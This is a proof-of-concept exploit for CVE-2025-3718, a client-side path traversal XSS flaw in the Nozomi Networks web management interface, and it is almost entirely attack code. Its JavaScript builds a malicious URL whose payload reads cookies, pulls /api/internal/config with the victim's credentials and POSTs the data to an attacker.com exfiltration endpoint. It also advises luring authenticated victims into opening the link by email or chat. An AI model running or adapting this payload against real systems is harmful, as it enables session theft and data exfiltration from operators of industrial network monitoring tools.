CVE-2025-3718 Nozomi Networks Web管理界面客户端路径遍历XSS漏洞

<!-- CVE-2025-3718 PoC - Client-Side Path Traversal leading to XSS --> <!-- Target: Nozomi Networks Web Management Interface --> <!-- Note: Replace TARGET_HOST with the actual vulnerable server --> <!-- Malicious URL construction exploiting CSPT vulnerability --> <!-- The path traversal sequence bypasses client-side routing validation --> <!-- and injects JavaScript payload into the page context --> <script> // Proof of Concept: Crafting the malicious URL function generateMaliciousURL(baseUrl, xssPayload) { // The vulnerable parameter lacks proper validation // allowing path traversal sequences to manipulate client-side routing var maliciousPath = "/" + xssPayload; var fullUrl = baseUrl + maliciousPath; return fullUrl; } // Example XSS payload that executes in victim's browser context // This runs with the privileges of the authenticated victim var payload = "javascript:alert(document.cookie);fetch('/api/internal/config',{credentials:'include'}).then(r=>r.json()).then(d=>fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify(d)}))"; // Generate the attack URL var attackUrl = generateMaliciousURL("https://TARGET_HOST/management/interface", payload); console.log("Attack URL: " + attackUrl); // Social engineering vector: Send this URL to authenticated victim // via email, chat, or other communication channels </script> <!-- Alternative URL-based PoC: https://TARGET_HOST/management/..%2f..%2f<xss_payload_here> The key insight is that the front-end fails to validate the input parameter, allowing the attacker to traverse the client-side path and inject arbitrary JavaScript that executes in the authenticated user's session context. -->
